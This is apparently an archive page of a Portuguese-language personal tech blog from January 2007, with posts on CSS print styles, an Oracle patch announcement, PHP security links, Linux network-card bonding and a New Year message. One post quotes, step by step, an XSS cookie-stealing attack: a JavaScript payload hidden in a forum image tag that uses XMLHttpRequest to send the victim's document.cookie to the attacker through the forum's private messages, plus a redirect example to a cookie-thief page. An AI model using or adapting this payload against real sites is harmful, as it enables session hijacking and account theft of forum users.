Imprimindo certo com CSS

0

Posted on : 24-01-2007 | By : .rafa | In : CSS, HTML, Programação

Por padrão, quando um usuário imprime uma página web que não é projetada com a impressão em mente, a folha de estilo é suprimida e a página é imprimida sem qualquer estilo. Ela tende a parecer uma longa linha de informação iniciando com seu cabeçalho, o conteúdo, uma longa lista de sua barra lateral e então o rodapé.

Para ver a como seu site aparece para a impressão, imprima uma página ou, do menu do seu browser, escolha a Impressão> Pré-visualização. Pouco atraente, não é? E desperdiça bastante papel tendo aquela longa lista da barra lateral dos links do blogroll que imprimem mais de duas páginas.

Para fazer o seu site adequado para imprimir, temos de concentrar-nos na arquitetura do site, a estrutura que mantém o conteúdo dentro de cada seção.

Para entender um pouco mais e continuar a ler esse pequeno tutorial que lhe ajuda a fazer a impressao de suas páginas bem feitas clique aqui.

Fonte: Estilos para Impressao CSS
Tutorial CSS
WikiPediaCSS
CSS Garden
CSS para WebDesign (Maujor)

Artigo que explica passo-a-passo a nova técnica de roubo de cookies, por meio de AJAX.

0

Posted on : 15-01-2007 | By : .rafa | In : Ajax, HTML

Estava lendo na Total Security um artigo que mostra como alguém pode roubar cookies usando ajax.

"A grande maioria de ladrões de cookies utiliza métodos de localização em javascript; exemplo window.document.location=http://www.totalsecurity.com.br/ladraodecookie.php. Isso irá redirecionar o internauta para uma página diferente. Agora vamos tentar usar javascript inline, javascript: window.document.location=http://www.sitequequeroredirecionar.com; Essa é a forma mais velha de roubo de cookies. Mas usuários menos bestinhas, até mesmo os bestinhas desconfiarão, pois não estaram no endereço em que iniciaram. Por isso usar AJAX, você poderá roubar cookies de forma silenciosa. Resultado final: pessoas visitam algo como um fórum, até ai tudo bem, do nada a cookie do mesmo é roubada. Nada parece ter acontecido.

Ficou curioso como funciona? Pois bem... imaginemos que estamos em um fórum, que por sua vez tenha uma falha XSS. A missão é infiltrar no fórum, inserir um código javascript(AJAX, é claro) usando a tag para driblar o sistema do fórum. Nesse código, o usuário mandará o cookie dele para você numa mensagem privada, usando o sistema de mensagem do fórum, é claro :)

*tags modificadas para [] respectivamente.
[img src=javascript:
//Vamos setar XMLHttpRequestObject falso para ver se retornará verdadeiro depois..
var XMLHTTPRequestObject = false;
if (window.XMLHttpRequest)
{
XMLHttpRequestObject = new XMLHttpRequest();
}
else if(window.ActiveXObject)
{
XMLHttpRequestObject = new ActiveXObject(Microsoft.XMLHTTP);
}
else
{
alert(Javascript não está ativado.);
}

O código acima é simples, verificará se XMLHttpRequest poderá ser gerado. Se não, uma caixa de alerta será mostrada e o resto do código que será inserido agora, não entrará em funcionamento.

function socket()
{
/*A linha a seguir é muito importante. Se o site está usando POST para enviar as mensagens, então terá de mudar o código usando o seu HTTP debugger. Em SEUNOMEDEUSUÁRIO, você botará seu login no fórum para receber mensagem privada com o cookie da vítima pelo sistema de mensagem privada do fórum*/
XMLHttpRequestObject.open('GET', 'http://www.sitequalquer.com/privatemessage.php user=SEUNOMEDEUSUÁRIO&subject=' + window.document.cookie, true);
XMLHttpRequestObject.setRequestHeader(Content-Type, application/x-www-form-urlencoded);
XMLHttpRequestObject.send(null);
//Out of the Goodness of our heart =p
delete XMLHttpRequestObject;
}
//Não esquecer de fechar a tag, afinal, isso é uma imagem ;)
window.document.onload='socket();']

Esse foi um exemplo claro e bem-sucedido de um código em AJAX para um fórum, em que, quando o post for acessado, o usuário enviará uma mensagem privada com o seu respectivo cookie para quem você desejar."

Fonte: Total Security

Amanhã sai novo patch do Oracle

0

Posted on : 15-01-2007 | By : .rafa | In : Banco de Dados, Oracle

A Oracle está antecimando o anuncio dos patch´s para suas aplicações onde este anúncio antecipado facilitará o planejamento semanal dos clientes da Oracle, disse Darius Wiles, gerente sênior da Oracle Security Alerts.

A empresa tem sido criticada por sobrecarregar seus consumidores com uma enxurrada de atualizações de segurança confusas, e nos últimos meses tem tomado previdências para ajudar os usuários a entenderem quais as correções mais urgentes.

Em outubro do ano passado, a Oracle começou a simplificar seus relatórios de vulnerabilidades e a classificar seus bugs de acordo com o Sistema Comum de Pontuação de Vulnerabilidade (CVSS na sigla em inglês), também usado nos avisos de segurança da Cisco Systems. O CVSS pretende padronizar a classificação de falhas de segurança.

A Oracle classificou as atualizações como 7, na pontuação CVSS. Apesar de a pior classificação ser 10 pontos no sistema, 7 é a nota mais alta que a Oracle daria normalmente, porque suas falhas não costumam afetar a base do sistema operacional, segundo Willes.

Este patch terá 52 correções para o Database, Application Server, Enterprise Manager, Identity Management, E-Business Suite, Developer Suite e o PeopleSoft Enterprise People Tools.

A maioria desses patches será para o software de banco de dados da empresa, que receberá 27 correções ao todo. Dez dos bugs “podem ser explorados em uma rede sem a necessidade de nome e senha”, disse a empresa no anúncio.

Fonte: Oracle Critical Patch Update Pre-Release Announcement - January 2007

Segurança com PHP

0

Posted on : 13-01-2007 | By : .rafa | In : PHP, Programação

Segurança Em um forum de discussao um colega abordou a questao de segurança usando PHP nos aplicativos web, em geral e ele menciona que os maiores culpados por invasões entre outros é o programador PHP, nao somente o aplicativo da php.net. Claro tens seus defeitinhos e tals, mas se todos vissem na documentação e conhecesse esses sites que identificam quais versões que tem vulnerabilidades e o que fazer ou melhor nao fazer para que isso prejudique os seus clientes/servidor e tudo envolvido pelo aplicativo.

Bom a integra do artigo pode ser consultado aqui (SecurityFocus).

E para quem quer saber das vulnerabilidades que o PHP ou outro Software tem pode consulta na SecurityFocus que há listas de discução sobre o problema, soluções a tomar, entre outros detalhes.

Dicas sobre segurança para o PHP: Principais falhas de Segurança no PHP, Segurança em código PHP, Enganando o lammer .php -> .aspx

Quer conhecer Blumenau ?

1

Posted on : 11-01-2007 | By : .rafa | In : Geral

Para visualizar mais belesas do Vale do Itajaí / SC clique na foto acima.

Balanceamento no linux entre duas placas de rede

0

Posted on : 08-01-2007 | By : .rafa | In : Linux (RH), Sistemas Operacionais

Tinha duas placas de rede em casa e estava vendo que é possivel fazer balancemanto entre duas ou mais placas de rede no linux e claro em outros OS tbm, mas o mais legal sempre eh no linux.
Ok, o meu é um Red Hat 4 x86 update 4.
Verifiquei se o pacote bond estava instalado no meu kernel e blz, se nao tiver arranje um jeito de achar como colocar e mandar bala no tutorialzinho.
Placa 1 - 100Mbps (eth0)
Placa 2 - 100Mbps (eth1)
E segui o seguinte tutorial da nixCraft, mas claro fiz algumas alterações, por exemplo no arquivo modprobe.conf
# vi /etc/modprobe.conf
E adicionei as linhas seguintes:
alias bond0 bonding
options bond0 mode=0 miimon=100 downdelay=200 updelay=200

Pois o mode=0 é o balanceamento onde 1 é active backup e isso tbm pode ser encontrado com mais detalhes em Wiki bonding.
E restartei as placas e funcionaram perfeitamente.

$ cat /proc/net/bonding/bond0
Ethernet Channel Bonding Driver: v2.6.3 (June 8, 2005)

Bonding Mode: load balancing (round-robin)
MII Status: up
MII Polling Interval (ms): 100
Up Delay (ms): 200
Down Delay (ms): 200

Slave Interface: eth0
MII Status: up
Link Failure Count: 0
Permanent HW addr: 00:01:02:ec:3a:bb

Slave Interface: eth1
MII Status: up
Link Failure Count: 0
Permanent HW addr: 00:16:76:3e:b3:68

Fonte: tutorial da nixCraft

Vídeo palestra sobre PHP-GTK2

0

Posted on : 03-01-2007 | By : .rafa | In : PHP, Programação

Não pude ir, mas pelo visto foi show mesmo... gostei!

FELIZ 2007

0

Posted on : 01-01-2007 | By : .rafa | In : Geral

Gostaria de agradecer a todos que me visitaram e me visitam diariamente, aproximadamente uns 105.000 visitantes de abril/06 até hoje, desejando-lhes um ótimo 2007, muito PHP e Oracle na veia, e que nesse novo ano, possamos juntar mais e mais técnicas, e assim repassar tudo o que vamos aprendendo em forma escrita/postada/discutida/falada aqui net.

ANO de 2007: MVC + PHP + PHP-GTK + Glade + MySQL + Oracle + Business + Empenho
1 Projeto - NALE2007 ** status 1% **